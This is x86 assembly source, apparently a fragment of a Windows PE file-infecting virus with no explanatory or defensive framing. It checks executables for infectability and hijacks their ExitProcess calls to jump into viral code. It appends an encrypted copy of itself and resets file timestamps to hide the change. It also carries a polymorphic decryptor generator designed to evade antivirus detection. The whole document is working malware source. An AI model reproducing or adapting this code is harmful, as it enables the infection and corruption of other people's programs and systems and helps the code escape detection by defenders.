ExeTestBad:
|
|
stc
|
|
ret
|
|
|
|
|
|
;>>>>>----------------------------------------------------------------<<<<<
|
|
;**********************
|
|
|
|
InfectTheFileAlready:
|
|
lea ebx, FindFile.fd_cFileName+ebp
|
|
xor edi, edi
|
|
mov ecx, _SfcIsFileProtected+ebp ; Is SFC protected?
|
|
jecxz NotSFCProtected
|
|
call ecx, edi, ebx ; call function if present
|
|
or eax, eax
|
|
jnz ExitInfector
|
|
NotSFCProtected:
|
|
call _CreateFileA+ebp, ebx, GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE, edi, OPEN_EXISTING, edi, edi
|
|
or eax, eax
|
|
js ExitInfector
|
|
push eax ; Push FileHandle
|
|
call _CreateFileMappingA+ebp, eax, edi, PAGE_READWRITE, edi, edi, edi
|
|
or eax, eax
|
|
je CloseAndExitInfector
|
|
push eax
|
|
xchg eax, esi
|
|
call _MapViewOfFile+ebp, esi, FILE_MAP_WRITE, edi, edi, edi
|
|
push eax ; Push Memory Addy
|
|
mov esi, eax
|
|
|
|
cmp word ptr [eax], 'ZM' ; Is it an EXE?
|
|
jne short InfectableNo
|
|
cmp word ptr [eax+18h], 40h ; A windows EXE?
|
|
jb short InfectableNo
|
|
movzx ecx, word ptr [eax+3Ch]
|
|
add eax, ecx
|
|
cmp dword ptr [eax], 'EP' ; A PE Exe?
|
|
jne short InfectableNo
|
|
cmp word ptr [eax].Machine, 14Ch ; Is at least 386+ ?
|
|
jb short InfectableNo
|
|
cmp word ptr [eax].Machine, 160h ; Is not R3000, etc.?
|
|
jae short InfectableNo
|
|
cmp word ptr [eax].Subsystem, 2 ; Is Windows file?
|
|
jb short InfectableNo ; 2=Windows
|
|
cmp word ptr [eax].Subsystem, 3 ; 3=Console (win)
|
|
jbe short IsInfectable
|
|
InfectableNo:
|
|
jmp UnmapAndClose
|
|
IsInfectable:
|
|
|
|
|
|
; First locate imports:
|
|
xchg eax, edi
|
|
mov eax, dword ptr [edi].DataDirectory+8
|
|
; Section Table:
|
|
call RVA2Addr
|
|
ImportLoop:
|
|
cmp [eax].imp_Characteristics, 0
|
|
je InfectableNo ; No Kernel Import?!?
|
|
xchg eax, edx
|
|
mov eax, [edx].imp_Name
|
|
call RVA2Addr
|
|
cmp dword ptr [eax], 'NREK'
|
|
jne short TryNextImport
|
|
cmp dword ptr [eax+4], '23LE'
|
|
je short FoundKernel
|
|
TryNextImport:
|
|
lea eax, [edx + size IMPORTTABLE]
|
|
jmp ImportLoop
|
|
|
|
FoundKernel: ; Now find "ExitProcess & GetModuleHandle"
|
|
mov eax, [edx].imp_Characteristics
|
|
or eax,eax
|
|
jne short HNAExists
|
|
mov eax, [edx].imp_FirstThunk
|
|
HNAExists:
|
|
call RVA2Addr
|
|
mov ebx, eax
|
|
mov edi, [edx].imp_FirstThunk
|
|
xor edx,edx ; Import Flags= 0 - nothing yet
|
|
|
|
FindImportFunction:
|
|
mov eax, [ebx]
|
|
or eax,eax
|
|
je short DoneImports ; No more imports
|
|
js short NotGetModuleHandle ; Some psycho is loading by ordinal
|
|
call RVA2Addr
|
|
inc eax
|
|
inc eax
|
|
xchg eax, edi
|
|
|
|
test dl, 1 ; Found ExitProcess Already?
|
|
jnz short NotExitProcess
|
|
mov ecx, 12
|
|
push esi
|
|
push edi
|
|
lea esi, nExitProcess+ebp
|
|
repz cmpsb
|
|
pop edi
|
|
pop esi
|
|
jne short NotExitProcess
|
|
or dl, 1 ; Mark as found
|
|
mov ExitProcessRVA+ebp, eax ; Save RVA
|
|
NotExitProcess:
|
|
test dl, 2 ; Found GetMoguleHandle Already?
|
|
jnz short NotGetModuleHandle
|
|
mov ecx, 17
|
|
push esi
|
|
push edi
|
|
lea esi, nGetModuleHandle+ebp
|
|
rep cmpsb
|
|
pop edi
|
|
pop esi
|
|
jne short NotGetModuleHandle
|
|
or dl, 2
|
|
mov GetModuleHandleRVA+ebp, eax
|
|
NotGetModuleHandle:
|
|
xchg eax, edi
|
|
add ebx, 4 ; Next Function Name
|
|
add edi, 4 ; Get Next Function RVA
|
|
jmp FindImportFunction
|
|
|
|
DoneImports:
|
|
cmp dl, 3 ; Found both functions?
|
|
jne InfectableNo
|
|
|
|
movzx ebx, word ptr [esi+3Ch]
|
|
add ebx, esi
|
|
mov edi, ebx ; edi= PE Header offset
|
|
movzx ecx, [ebx].NumberOfSections
|
|
movzx edx, word ptr [ebx].SizeOfOptionalHeader
|
|
lea edx, [ebx+edx+18h]
|
|
|
|
; Get Last Section
|
|
push ecx
|
|
push edx
|
|
mov eax, [edx].sec_PointerToRawData
|
|
mov ebx, edx
|
|
LastSectionLoop:
|
|
cmp eax, [edx].sec_PointerToRawData
|
|
jae short NotLastSection
|
|
mov eax, [edx].sec_PointerToRawData
|
|
mov ebx, edx
|
|
NotLastSection:
|
|
add edx, size SECTION
|
|
loop LastSectionLoop
|
|
mov LastSectionEntryPtr+ebp, ebx
|
|
pop edx
|
|
pop ecx
|
|
|
|
; Get Biggest Writable Data Section
|
|
push ecx
|
|
push edx
|
|
xor eax, eax ; Largest section found so far
|
|
DataSectionLoop:
|
|
test byte ptr [edx].sec_Characteristics+3, 80h ; Writable section?
|
|
jz short NextDataSec
|
|
cmp eax, [edx].sec_VirtualSize
|
|
jae short NextDataSec
|
|
mov eax, [edx].sec_VirtualSize
|
|
mov ebx, edx
|
|
NextDataSec:
|
|
add edx, size SECTION
|
|
loop DataSectionLoop
|
|
pop edx
|
|
pop ecx
|
|
|
|
mov DataSectionEntryPtr+ebp, ebx
|
|
|
|
cmp eax, VIRUSTOTALSIZE
|
|
jnb short DataSectionSizePass
|
|
|
|
; ***************
|
|
; If Data Size is just a little too small, then bump it up
|
|
; ***************
|
|
mov ebx, [edi].SectionAlignment
|
|
dec ebx
|
|
add eax, ebx
|
|
not ebx
|
|
and eax, ebx
|
|
cmp eax, VIRUSTOTALSIZE
|
|
jb InfectableNo
|
|
DataSectionSizePass:
|
|
mov NewVirtualSizeOfData+ebp, eax
|
|
|
|
; Find Code Section
|
|
xor ebx, ebx
|
|
FindCodeSection:
|
|
test [edx].sec_Characteristics, SEC_CODE+SEC_EXECUTABLE
|
|
jz short NotACodeSection
|
|
test byte ptr [edx].sec_Characteristics+3, 80h ; Writable CS?
|
|
jnz InfectableNo
|
|
or ebx,ebx
|
|
jnz InfectableNo
|
|
mov ebx, edx
|
|
NotACodeSection:
|
|
add edx, size SECTION
|
|
loop FindCodeSection
|
|
|
|
;* Find amount of space at the end of the of the code section.
|
|
mov edx, [ebx].sec_PointerToRawData
|
|
add edx, esi
|
|
cmp [ebx].sec_SizeOfRawData, MINCODESIZE
|
|
jb InfectableNo
|
|
|
|
|
|
; Figure out the real code size
|
|
xor ecx,ecx
|
|
mov FoundExitCall+ebp, ecx
|
|
mov ecx, [edi].FileAlignment
|
|
dec ecx
|
|
test [ebx].sec_VirtualSize, ecx
|
|
jz short ProbablyTLINK
|
|
; Assuming LINK - i.e. Virtual Size gives exact size of CS (not aligned).
|
|
mov eax, [ebx].sec_VirtualSize
|
|
add edx, eax
|
|
push eax
|
|
and eax, ecx
|
|
inc ecx
|
|
sub ecx, eax
|
|
pop eax
|
|
add eax, [ebx].sec_PointerToRawData
|
|
cmp ecx, MINSLACKSPACE
|
|
jb InfectableNo
|
|
; Now:
|
|
; - RVA -done (eax)
|
|
; - RawAddy -done (edx)
|
|
; - SizeOfSpace -done (ecx)
|
|
mov EmptyCodeSecRVA+ebp, eax
|
|
mov EmptyCodeSecAddr+ebp, edx
|
|
mov EmptyCodeSecSize+ebp, ecx
|
|
|
|
; Now we search .text for either:
|
|
; - EE 15 (call [address])
|
|
; - FF 25 (jmp [address])
|
|
|
|
mov ecx, [ebx].sec_SizeOfRawData
|
|
sub ecx, 5 ; (no need to check last 5 bytes)
|
|
push esi
|
|
mov eax, [ebx].sec_PointerToRawData
|
|
add eax, esi
|
|
xchg eax, esi
|
|
xor edx, edx ; Loop counter
|
|
LinkFindJump:
|
|
cmp word ptr [esi+edx], 15FFh
|
|
jne short LinkJumpNotFound
|
|
|
|
mov eax, dword ptr [esi+edx+2]
|
|
sub eax, [edi].ImageBase
|
|
cmp eax, ExitProcessRVA+ebp
|
|
jne short LinkJumpNotFound
|
|
|
|
mov eax, EmptyCodeSecRVA+ebp
|
|
sub eax, edx
|
|
sub eax, [ebx].sec_VirtualAddress
|
|
sub eax, 5
|
|
mov byte ptr [esi+edx], 0E9h ; Write in jump to our code ;-)
|
|
mov dword ptr [esi+edx+1], eax
|
|
inc FoundExitCall+ebp
|
|
LinkJumpNotFound:
|
|
inc edx
|
|
cmp edx, ecx
|
|
jb LinkFindJump
|
|
pop esi
|
|
jmp HaveCSInfo
|
|
ProbablyTLINK:
|
|
add edx, [ebx].sec_SizeOfRawData
|
|
inc ecx
|
|
ScanSpaceBackWard:
|
|
dec edx
|
|
cmp byte ptr [edx], 0
|
|
jne short FoundActualCode
|
|
loop ScanSpaceBackWard
|
|
jmp InfectableNo ; Probably Some Packer
|
|
FoundActualCode:
|
|
add edx, 5 ; edx= Raw Adrress of free space
|
|
add ecx, 4
|
|
sub ecx, [edi].FileAlignment
|
|
neg ecx ; ecx= size of free space
|
|
mov eax, [ebx].sec_VirtualAddress
|
|
add eax, [ebx].sec_SizeOfRawData
|
|
sub eax, ecx
|
|
|
|
cmp ecx, MINSLACKSPACE
|
|
jb InfectableNo
|
|
; Now:
|
|
; - RVA -done (eax)
|
|
; - RawAddy -done (edx)
|
|
; - SizeOfSpace -done (ecx)
|
|
mov EmptyCodeSecRVA+ebp, eax
|
|
mov EmptyCodeSecAddr+ebp, edx
|
|
mov EmptyCodeSecSize+ebp, ecx
|
|
|
|
; Now we search .text for either:
|
|
; - EE 15 (call [address])
|
|
; - FF 25 (jmp [address])
|
|
|
|
mov ecx, [ebx].sec_SizeOfRawData
|
|
sub ecx, 5 ; (no need to check last 5 bytes)
|
|
push esi
|
|
mov eax, [ebx].sec_PointerToRawData
|
|
add eax, esi
|
|
xchg eax, esi
|
|
xor edx, edx ; Loop counter
|
|
TLinkFindJump:
|
|
cmp word ptr [esi+edx], 25FFh
|
|
jne short TLinkJumpNotFound
|
|
|
|
mov eax, dword ptr [esi+edx+2]
|
|
sub eax, [edi].ImageBase
|
|
cmp eax, ExitProcessRVA+ebp
|
|
jne short TLinkJumpNotFound
|
|
mov eax, EmptyCodeSecRVA+ebp
|
|
sub eax, edx
|
|
sub eax, [ebx].sec_VirtualAddress
|
|
sub eax, 5
|
|
mov byte ptr [esi+edx], 0E9h ; Write in jump to our code ;-)
|
|
mov dword ptr [esi+edx+1], eax
|
|
inc FoundExitCall+ebp
|
|
TLinkJumpNotFound:
|
|
inc edx
|
|
cmp edx, ecx
|
|
jb TLinkFindJump
|
|
pop esi
|
|
|
|
HaveCSInfo:
|
|
cmp FoundExitCall+ebp, 0
|
|
je InfectableNo
|
|
|
|
mov eax, GetModuleHandleRVA+ebp ; Link to GetModuleHandle
|
|
add eax, [edi].ImageBase
|
|
mov GetModHandleAddy+ebp, eax
|
|
mov eax, ExitProcessRVA+ebp ; Setup emergency escape for
|
|
add eax, [edi].ImageBase ; the next generation.
|
|
mov EmergencyExitAddy+ebp, eax ; (hopefully never needed)
|
|
|
|
push esi
|
|
push edi
|
|
mov esi, edi
|
|
call MakeDecryptor
|
|
pop edi
|
|
pop esi
|
|
|
|
mov edx, DataSectionEntryPtr+ebp ; If link and ds too small,
|
|
mov eax, NewVirtualSizeOfData+ebp ; then make it bigger
|
|
mov [edx].sec_VirtualSize, eax ; else stay the same
|
|
|
|
mov edx, LastSectionEntryPtr+ebp ; Fixup Last Section Sizes
|
|
mov ecx, [edi].FileAlignment
|
|
mov eax, [edx].sec_SizeOfRawData
|
|
mov esi, eax ; esi= size of last section
|
|
add eax, VIRUSCODESIZE
|
|
push eax
|
|
dec ecx
|
|
add eax, ecx
|
|
not ecx
|
|
and eax, ecx ; eax= Aligned raw size of last section
|
|
mov [edx].sec_SizeOfRawData, eax
|
|
pop eax ; not rounded raw size + vir size
|
|
mov ecx, [edi].SectionAlignment
|
|
dec ecx
|
|
add eax, ecx
|
|
not ecx
|
|
push ecx
|
|
and eax, ecx
|
|
mov ecx, [edx].sec_VirtualSize ; Get old size for Image size adjust
|
|
mov [edx].sec_VirtualSize, eax ; Save New Section VSize
|
|
sub eax, ecx ; Get Size increase
|
|
pop ecx ; get Section mask (FFFFF000 usually)
|
|
and eax, ecx ; Sec Align total size increase
|
|
add [edi].SizeOfImage, eax ; add it to the size
|
|
|
|
; Fix:
|
|
; - Fix Last Section Size (done above)
|
|
; - Fix Code Section Size (probably not needed)
|
|
; - Fix up GetModHandleAddy (done above)
|
|
;
|
|
mov ecx, LastSectionEntryPtr+ebp
|
|
mov ebx, [ecx].sec_PointerToRawData
|
|
add ebx, esi
|
|
;int 3
|
|
mov eax, VIRUSCODESIZE-1
|
|
mov edi, [edi].FileAlignment
|
|
add eax, edi
|
|
neg edi
|
|
and edi, eax
|
|
|
|
call _UnmapViewOfFile+ebp ; Handle Already on stack
|
|
call _CloseHandle+ebp ; Handle Already on stack
|
|
|
|
pop esi ; Get File Handle
|
|
push esi ; File Handle back for later
|
|
xor eax, eax
|
|
call _SetFilePointer+ebp, esi, ebx, eax, FILE_BEGIN
|
|
lea eax, PolyedVirus+ebp
|
|
lea ecx, BytesWritten+ebp
|
|
;int 3
|
|
; call _WriteFile+ebp, esi, eax, VIRUSCODESIZE, ecx, 0
|
|
call _WriteFile+ebp, esi, eax, edi, ecx, 0
|
|
|
|
inc NumInfected+ebp
|
|
lea eax, FindFile.fd_ftCreationTime+ebp
|
|
lea ecx, FindFile.fd_ftLastAccessTime+ebp
|
|
lea edx, FindFile.fd_ftLastWriteTime+ebp
|
|
call _SetFileTime+ebp, esi, eax, ecx, edx
|
|
jmp short CloseAndExitInfector
|
|
|
|
UnmapAndClose:
|
|
call _UnmapViewOfFile+ebp ; Handle Already on stack
|
|
call _CloseHandle+ebp ; Handle Already on stack
|
|
CloseAndExitInfector:
|
|
call _CloseHandle+ebp ; Again on Stack
|
|
ExitInfector:
|
|
ret
|
|
|
|
|
|
|
|
;**********************
|
|
|
|
|
|
|
|
; Enter
|
|
; eax = RVA
|
|
; esi = Start Of Memory mapped PE file.
|
|
; Leave:
|
|
; eax = Mem map Address
|
|
RVA2Addr:
|
|
push ebx
|
|
push edx
|
|
push ecx
|
|
push esi
|
|
push edi
|
|
movzx edi, word ptr [esi+3Ch]
|
|
add edi, esi
|
|
movzx edx, [edi].SizeOfOptionalHeader
|
|
movzx ecx, [edi].NumberOfSections
|
|
lea edx, [edi+edx+18h] ; Start of Section table
|
|
mov ebx, [edx].sec_VirtualAddress
|
|
mov esi, [edx].sec_PointerToRawData
|
|
SectionLoop1:
|
|
cmp ebx, [edx].sec_VirtualAddress
|
|
jae short SkipSecLoop1
|
|
cmp eax, [edx].sec_VirtualAddress
|
|
jb short SkipSecLoop1
|
|
mov ebx, [edx].sec_VirtualAddress
|
|
mov esi, [edx].sec_PointerToRawData
|
|
SkipSecLoop1:
|
|
add edx, size SECTION
|
|
loop SectionLoop1
|
|
sub eax, ebx
|
|
add eax, esi
|
|
pop edi
|
|
pop esi
|
|
add eax, esi
|
|
pop ecx
|
|
pop edx
|
|
pop ebx
|
|
ret
|
|
|
|
|
|
MakeDecryptor:
|
|
lea edi, PolyedVirus+ebp
|
|
mov PolySizeCount+ebp, edi ; Counter for number of bytes used.
|
|
mov StackRestore+ebp, esp
|
|
if DEBUGENTRY
|
|
mov al, 0CCh
|
|
stosb
|
|
endif
|
|
|
|
call SelectRegs2
|
|
call CreateInitCode
|
|
call MarkLoop
|
|
call CreateLoad
|
|
call CreateEncryption
|
|
call CreateAddInECX
|
|
call CreateStore
|
|
call CreateLoop
|
|
call CreateGotoVirus
|
|
FinishedAlgorithm:
|
|
|
|
mov esi, PolySizeCount+ebp
|
|
sub edi, esi
|
|
cmp edi, EmptyCodeSecSize+ebp
|
|
ja short MakeDecryptor
|
|
mov ecx, edi
|
|
mov edi, EmptyCodeSecAddr+ebp
|
|
push esi
|
|
rep movsb
|
|
pop edi
|
|
|
|
lea esi, VirusStart+ebp
|
|
mov ecx, VIRUSCODESIZE
|
|
EncryptVirus2:
|
|
lodsb
|
|
call PolyEncryptPtr+ebp
|
|
stosb
|
|
loop EncryptVirus2
|
|
ret
|
|
|
|
|
|
|
|
MakePolyError:
|
|
mov esp, StackRestore+ebp
|
|
jmp MakeDecryptor
|
|
|
|
|
|
|
|
|
|
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
; Atom Functions
|
|
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
|
|
CreateZero:
|
|
call randomslow
|
|
test al, 11
|
|
je short CreateZeroMov
|
|
|
|
or al, al
|
|
js short CreateZeroSub
|
|
CreateZeroXor:
|
|
mov eax, edx
|
|
shl eax, 11
|
|
or ax, 0C031h
|
|
jmp short CreateZeroCommon
|
|
CreateZeroSub:
|
|
mov eax, edx
|
|
shl eax, 11
|
|
or ax, 0C029h
|
|
CreateZeroCommon:
|
|
or ah, dl
|
|
stosw
|
|
ret
|
|
CreateZeroMov:
|
|
push ecx
|
|
xor ecx, ecx
|
|
call CreateMov
|
|
pop ecx
|
|
ret
|
|
|
|
; --------
|
|
|
|
CreateAdd:
|
|
mov al, 5
|
|
cmp dl, 0 ; eax
|
|
je short EntryFromCreateSub2
|
|
cmp ecx, 7Fh
|
|
jbe short CreateAddSX
|
|
cmp ecx, -80h
|
|
jb short CreateAddNoSX
|
|
CreateAddSX:
|
|
mov al, 83h
|
|
stosb
|
|
mov al, 0C0h
|
|
EntryFromCreateSub3:
|
|
or al, dl
|
|
stosb
|
|
mov al, cl
|
|
stosb
|
|
ret
|
|
CreateAddNoSX:
|
|
mov al, 81h
|
|
stosb
|
|
mov al, 0C0h
|
|
EntryFromCreateSub1:
|
|
or al, dl
|
|
EntryFromCreateSub2:
|
|
stosb
|
|
mov eax, ecx
|
|
stosd
|
|
ret
|
|
|
|
; --------
|
|
|
|
CreateSub:
|
|
mov al, 2Dh
|
|
cmp dl, 0 ; eax
|
|
je short EntryFromCreateSub2
|
|
cmp ecx, 7Fh
|
|
jbe short CreateSubSX
|
|
cmp ecx, -80h
|
|
jb short CreateSubNoSX
|
|
CreateSubSX:
|
|
mov al, 83h
|
|
stosb
|
|
mov al, 0E8h
|
|
jmp short EntryFromCreateSub3
|
|
CreateSubNoSX:
|
|
mov al, 81h
|
|
stosb
|
|
mov al, 0E8h
|
|
jmp short EntryFromCreateSub1
|
|
|
|
; --------
|
|
|
|
CreateMov:
|
|
mov al, 0B8h
|
|
jmp short EntryFromCreateSub1
|
|
|
|
; --------
|
|
|
|
CreateInc:
|
|
mov al, 40h
|
|
EntryFromDec:
|
|
or al, dl
|
|
stosb
|
|
ret
|
|
|
|
; --------
|
|
|
|
CreateDec:
|
|
mov al, 48h
|
|
jmp short EntryFromDec
|
|
|
|
; --------
|
|
|
|
CreatePush:
|
|
mov al, 50h
|
|
jmp short EntryFromDec
|
|
|
|
; --------
|
|
|
|
CreateXor8:
|
|
or dl, dl
|
|
je short CreateXorAL
|
|
mov ax, 0F080h
|
|
or ah, dl
|
|
stosw
|
|
jmp short CreateXor8Common
|
|
CreateXorAL:
|
|
mov al, 34h
|
|
stosb
|
|
CreateXor8Common:
|
|
dec ebx
|
|
dec ebx
|
|
mov byte ptr [ebx], 34h
|
|
EntryFromCreateAdd8:
|
|
call randomfast
|
|
stosb
|
|
mov byte ptr [ebx+1], al
|
|
ret
|
|
|
|
|
|
CreateAdd8:
|
|
or dl, dl
|
|
je short CreateAdd8AL
|
|
mov ax, 0C080h
|
|
or ah, dl
|
|
stosw
|
|
jmp short CreateAdd8Common
|
|
CreateAdd8AL:
|
|
mov al, 04h
|
|
stosb
|
|
CreateAdd8Common:
|
|
dec ebx
|
|
dec ebx
|
|
mov byte ptr [ebx], 2Ch
|
|
jmp short EntryFromCreateAdd8
|
|
|
|
|
|
CreateRol8:
|
|
sub ebx, 3
|
|
mov ax, 0C8C0h
|
|
mov word ptr [ebx], ax
|
|
and ah, 0F7h
|
|
or ah, dl
|
|
stosw
|
|
RolNoGood:
|
|
call randomfast
|
|
and al, 7
|
|
jz RolNoGood
|
|
stosb
|
|
mov byte ptr [ebx+2], al
|
|
ret
|
|
|
|
|
|
CreateSub8:
|
|
or dl, dl
|
|
je short CreateSub8AL
|
|
mov ax, 0E880h
|
|
or ah, dl
|
|
stosw
|
|
jmp short CreateSub8Common
|
|
CreateSub8AL:
|
|
mov al, 2Ch
|
|
stosb
|
|
CreateSub8Common:
|
|
dec ebx
|
|
dec ebx
|
|
mov byte ptr [ebx], 04h
|
|
jmp short EntryFromCreateAdd8
|
|
|
|
|
|
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
; Mid-Level Functions
|
|
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
|
|
CreateMidInit:
|
|
call randomslow
|
|
or al,al
|
|
js short CreateInitZAdd
|
|
call CreateMov
|
|
ret
|
|
CreateInitZAdd:
|
|
test al, 1
|
|
je short CreateInitSub
|
|
call CreateZero
|
|
call CreateAdd
|
|
ret
|
|
CreateInitSub:
|
|
call CreateZero
|
|
neg ecx
|
|
call CreateSub
|
|
ret
|
|
|
|
;----------
|
|
|
|
CreateMidInc:
|
|
call randomslow
|
|
or al,al
|
|
js short CreateMidIncAdd
|
|
call CreateInc ; Inc
|
|
ret
|
|
CreateMidIncAdd:
|
|
push ecx
|
|
xor ecx,ecx
|
|
inc ecx
|
|
test al, 1
|
|
jz short CreateMidIncSub
|
|
EntryFromMidDec_Add:
|
|
call CreateAdd ; Add 1
|
|
jmp short CreateMidIncDone
|
|
CreateMidIncSub: ; Sub -1
|
|
neg ecx
|
|
EntryFromMidDec_Sub:
|
|
call CreateSub
|
|
CreateMidIncDone:
|
|
pop ecx
|
|
ret
|
|
|
|
;----------
|
|
|
|
CreateMidDec:
|
|
call randomslow
|
|
or al,al
|
|
js short CreateMidDecSub
|
|
call CreateDec
|
|
ret
|
|
CreateMidDecSub:
|
|
push ecx
|
|
xor ecx,ecx
|
|
inc ecx
|
|
test al, 1
|
|
jnz short EntryFromMidDec_Sub
|
|
CreateMidDecAdd:
|
|
neg ecx
|
|
jmp short EntryFromMidDec_Add
|
|
|
|
|
|
|
|
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
; Complex Functions
|
|
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
|
|
CreateLoadMem:
|
|
mov al, dl
|
|
shl eax, 11
|
|
or ax, 008Ah
|
|
or ah, cl
|
|
stosw
|
|
mov dl, cl
|
|
call CreateMidInc
|
|
ret
|
|
|
|
CreateStoreMem:
|
|
mov al, dl
|
|
shl eax, 11
|
|
or ax, 0088h
|
|
or ah, cl
|
|
stosw
|
|
mov dl, cl
|
|
call CreateMidInc
|
|
ret
|
|
|
|
|
|
CreateSourceInit:
|
|
mov dl, PolySourceReg+ebp
|
|
mov eax, LastSectionEntryPtr+ebp
|
|
mov ecx, [eax].sec_VirtualAddress
|
|
add ecx, [eax].sec_SizeOfRawData
|
|
add ecx, [esi].ImageBase
|
|
call CreateMidInit
|
|
ret
|
|
|
|
CreateDestInit:
|
|
mov dl, PolyDestReg+ebp
|
|
mov eax, DataSectionEntryPtr+ebp
|
|
mov ecx, [eax].sec_VirtualAddress
|
|
add ecx, [esi].ImageBase
|
|
call CreateMidInit
|
|
test byte ptr PolyFlag+ebp, 1
|
|
jnz short CreateDestInitDone
|
|
call CreatePush
|
|
CreateDestInitDone:
|
|
ret
|
|
|
|
CreateCntrInit:
|
|
mov dl, PolyCntrReg+ebp
|
|
mov ecx, VIRUSCODESIZE
|
|
call CreateMidInit
|
|
ret
|
|
|
|
MarkLoop:
|
|
mov LoopLocation+ebp, edi
|
|
ret
|
|
|
|
CreateLoad:
|
|
mov dl, PolyWorkReg+ebp
|
|
mov cl, PolySourceReg+ebp
|
|
or dl, dl
|
|
jne short CreateLoadMemCall
|
|
cmp cl, 6
|
|
jne short CreateLoadMemCall
|
|
mov al, 0ACh
|
|
stosb
|
|
ret
|
|
CreateLoadMemCall:
|
|
call CreateLoadMem
|
|
ret
|
|
|
|
CreateStore:
|
|
mov dl, PolyWorkReg+ebp
|
|
mov cl, PolyDestReg+ebp
|
|
or dl, dl
|
|
jne short CreateStoreMemCall
|
|
cmp cl, 7
|
|
jne short CreateStoreMemCall
|
|
mov al, 0AAh
|
|
stosb
|
|
ret
|
|
CreateStoreMemCall:
|
|
call CreateStoreMem
|
|
ret
|
|
|
|
CreateLoop:
|
|
mov dl, PolyCntrReg+ebp
|
|
mov al, 0E2h
|
|
cmp dl, 1
|
|
je short MakeLoopCommon
|
|
LoopNotECX:
|
|
call CreateMidDec
|
|
mov al, 75h
|
|
MakeLoopCommon:
|
|
stosb
|
|
mov eax, LoopLocation+ebp
|
|
sub eax, edi
|
|
dec eax
|
|
stosb
|
|
cmp eax, -80h
|
|
jb MakePolyError
|
|
ret
|
|
|
|
CreateGotoVirus:
|
|
test byte ptr PolyFlag+ebp, 1
|
|
jz short CreateGotoVirusRet
|
|
mov al, 0E9h
|
|
stosb
|
|
mov eax, DataSectionEntryPtr+ebp
|
|
mov eax, [eax].sec_VirtualAddress
|
|
mov ecx, EmptyCodeSecRVA+ebp
|
|
sub eax, ecx
|
|
mov ecx, edi
|
|
sub ecx, PolySizeCount+ebp
|
|
add ecx, 4
|
|
sub eax, ecx
|
|
stosd
|
|
ret
|
|
CreateGotoVirusRet:
|
|
mov al, 0C3h
|
|
stosb
|
|
ret
|
|
|
|
InstructInitTable:
|
|
dd offset CreateSourceInit
|
|
dd offset CreateDestInit
|
|
dd offset CreateCntrInit
|
|
CreateInitCode:
|
|
xor ecx, ecx
|
|
CreateInitLoop:
|
|
call randomslow
|
|
and eax, 3
|
|
jz short CreateInitLoop
|
|
dec eax
|
|
bts ecx, eax
|
|
jc short CreateInitLoop
|
|
mov eax, [ebp+4*eax+offset InstructInitTable]
|
|
add eax, ebp
|
|
push ecx
|
|
call eax
|
|
pop ecx
|
|
cmp cl, 7
|
|
jne short CreateInitLoop
|
|
ret
|
|
|
|
SelectRegs2:
|
|
call randomslow
|
|
mov PolyFlag+ebp, al
|
|
mov dl, 00110000b
|
|
GetWork2:
|
|
call randomfast
|
|
or al, al
|
|
js short PickRandWork2
|
|
test dl, 1
|
|
jnz short PickRandWork2
|
|
mov byte ptr PolyWorkReg+ebp, 0
|
|
or dl, 1
|
|
jmp short GetSource2
|
|
PickRandWork2:
|
|
call GetFreeRegister8
|
|
mov PolyWorkReg+ebp, al
|
|
GetSource2:
|
|
call randomfast
|
|
or al, al
|
|
js short PickRandSource2
|
|
test dl, 40h
|
|
jnz short PickRandSource2
|
|
mov byte ptr PolySourceReg+ebp, 6
|
|
or dl, 40h
|
|
jmp short GetCntr2
|
|
PickRandSource2:
|
|
call GetFreeRegister
|
|
mov PolySourceReg+ebp, al
|
|
GetCntr2:
|
|
call randomfast
|
|
or al, al
|
|
js short PickRandCntr2
|
|
test dl, 2
|
|
jnz short PickRandCntr2
|
|
mov byte ptr PolyCntrReg+ebp, 1
|
|
or dl, 2
|
|
jmp short GetDest2
|
|
PickRandCntr2:
|
|
call GetFreeRegister
|
|
mov PolyCntrReg+ebp, al
|
|
GetDest2:
|
|
call randomfast
|
|
or al, al
|
|
js short PickRandDest2
|
|
test dl, 80h
|
|
jnz short PickRandDest2
|
|
mov byte ptr PolyDestReg+ebp, 7
|
|
or dl, 80h
|
|
jmp short SelectRegsDone2
|
|
PickRandDest2:
|
|
call GetFreeRegister
|
|
mov PolyDestReg+ebp, al
|
|
SelectRegsDone2:
|
|
ret
|
|
|
|
CreateAddInECX:
|
|
test byte ptr PolyFlag+ebp, 2
|
|
jnz short SelectRegsDone2
|
|
mov al, PolyCntrReg+ebp
|
|
cmp al, 4
|
|
jae short SelectRegsDone2
|
|
shl eax, 11
|
|
or ax, 0C000h
|
|
or ah, PolyWorkReg+ebp
|
|
stosw
|
|
mov ecx, PolyEncryptPtr+ebp
|
|
dec ecx
|
|
dec ecx
|
|
mov ax, 0C828h
|
|
mov word ptr [ecx], ax
|
|
mov PolyEncryptPtr+ebp, ecx
|
|
ret
|
|
|
|
|
|
GetFreeRegister8:
|
|
call randomfast
|
|
and al, 7
|
|
mov ah, 1
|
|
xchg ecx, eax
|
|
test cl, 4
|
|
jnz short UpperRegister8
|
|
rol ch, cl
|
|
GetReg8Common:
|
|
xchg ecx, eax
|
|
test dl, ah
|
|
jnz GetFreeRegister8
|
|
or dl, ah
|
|
ret
|
|
UpperRegister8:
|
|
and cl, 3
|
|
rol ch, cl
|
|
or cl, 4
|
|
jmp GetReg8Common
|
|
|
|
GetFreeRegister:
|
|
call randomfast
|
|
and eax, 7
|
|
bts edx, eax
|
|
jc GetFreeRegister
|
|
ret
|
|
|
|
|
|
EncryptOpTable:
|
|
dd offset CreateXor8
|
|
dd offset CreateAdd8
|
|
dd offset CreateRol8
|
|
dd offset CreateSub8
|
|
|
|
db 45 dup (?) ; Hold encryption code.
|
|
OpcodeStack:
|
|
ret
|
